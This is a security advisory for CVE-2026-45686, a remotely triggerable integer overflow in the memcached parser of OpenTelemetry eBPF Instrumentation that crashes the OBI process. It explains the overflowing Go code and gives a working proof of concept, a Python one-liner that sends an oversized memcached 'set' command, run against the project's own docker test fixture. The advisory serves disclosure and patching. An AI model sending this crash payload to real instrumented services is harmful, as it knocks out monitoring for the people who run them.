CVE-2026-45686: OpenTelemetry eBPF Instrumentation: Memcached payload length overflow can crash OBI
Summary A remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large values and adds the payload delimiter length without checking for overflow.
Published May 18, 2026 · Updated Jun 9, 2026
Affected packages
go.opentelemetry.io/obi
- Ecosystem
- Go
- Affected
- >= 0.7.0, < 0.9.0
- Fixed in
- 0.9.0
- Check
go list -m go.opentelemetry.io/obi
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large <bytes> values and adds the payload delimiter length without checking for overflow. A crafted request with <bytes> set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek.
Details
The issue is in the memcached request parser at pkg/ebpf/common/memcached_detect_transform.go.
memcachedCommandBytesField parses the storage command <bytes> field with strconv.Atoi and only rejects negative values:
size, err := strconv.Atoi(string(fields[4]))
if err != nil || size < 0 {
return 0, false
}Because there is no upper bound check, values up to math.MaxInt are accepted.
memcachedConsumeStoragePayload then computes the payload length by adding the trailing \r\n delimiter length:
payloadLen := bytesField + len(memcachedDelimBytes)
payload, err := r.Peek(payloadLen)If bytesField is math.MaxInt or math.MaxInt-1, this addition overflows the signed int and produces a negative payloadLen.
That negative length is passed into LargeBufferReader.Peek in pkg/internal/largebuf/large_buffer.go. Peek checks whether n > Remaining() but does not reject negative values before slicing:
if r.rchunk < len(r.lb.chunks) && r.roff+n <= len(r.lb.chunks[r.rchunk]) {
return r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil
}With a negative n, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely.
Affected logic identified by the scan:
pkg/ebpf/common/memcached_detect_transform.go:322pkg/ebpf/common/memcached_detect_transform.go:386pkg/internal/largebuf/large_buffer.go:501
PoC
The repository already contains a runnable memcached fixture under internal/test/oats/memcached/. The steps below reproduce the crash using only files from this repository.
- From the repository root, start the checked-in memcached environment:
docker compose \
-f internal/test/oats/memcached/docker-compose-include-base.yml \
-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
up --buildThis starts:
memcachedon port11211testserver, the Python app ininternal/test/integration/components/pythonmemcached/main.pyautoinstrumenter, the OBI process launched with--config=/configs/instrumenter-config-traces.yml
The relevant repo-local files are:
internal/test/oats/memcached/docker-compose-obi-python-memcached.ymlinternal/test/oats/memcached/configs/instrumenter-config-traces.yml
- In a second shell, confirm the environment is working:
curl http://127.0.0.1:8080/memcached- From the same repository root, send a crafted memcached storage command from inside the instrumented
testservercontainer. On 64-bit systems, use9223372036854775807(math.MaxInt):
docker compose \
-f internal/test/oats/memcached/docker-compose-include-base.yml \
-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
exec testserver \
python -c 'import socket; s=socket.create_connection(("memcached",11211), timeout=5); s.sendall(b"set crash 0 0 9223372036854775807\r\nvalue\r\n"); s.close()'On 32-bit systems, replace 9223372036854775807 with 2147483647.
- OBI parses the request header, accepts the
<bytes>field as anint, and computes:
payloadLen = bytesField + len("\r\n")- That addition overflows negative and the negative
payloadLenis passed toLargeBufferReader.Peek, which slices with an invalid bound and panics.
- Confirm the crash by checking the
autoinstrumentercontainer status or logs:
docker compose \
-f internal/test/oats/memcached/docker-compose-include-base.yml \
-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
ps autoinstrumenter docker compose \
-f internal/test/oats/memcached/docker-compose-include-base.yml \
-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
logs autoinstrumenterThe expected result is that the OBI process crashes with a panic originating from LargeBufferReader.Peek, with the call path including memcachedConsumeStoragePayload.
Impact
This is a remote denial-of-service vulnerability in OBI's memcached protocol parsing path.
Impacted deployments are those where:
- OBI is running with the vulnerable memcached parser, and
- OBI observes memcached text protocol traffic from applications or services that an attacker can reach or influence.
A successful attack does not require code execution or authentication against OBI itself. An attacker only needs to cause a vulnerable instrumented service to emit or receive a crafted memcached storage command. The result is a panic in OBI and loss of telemetry collection until the process is restarted.
Credited to MrAlias, grcevski.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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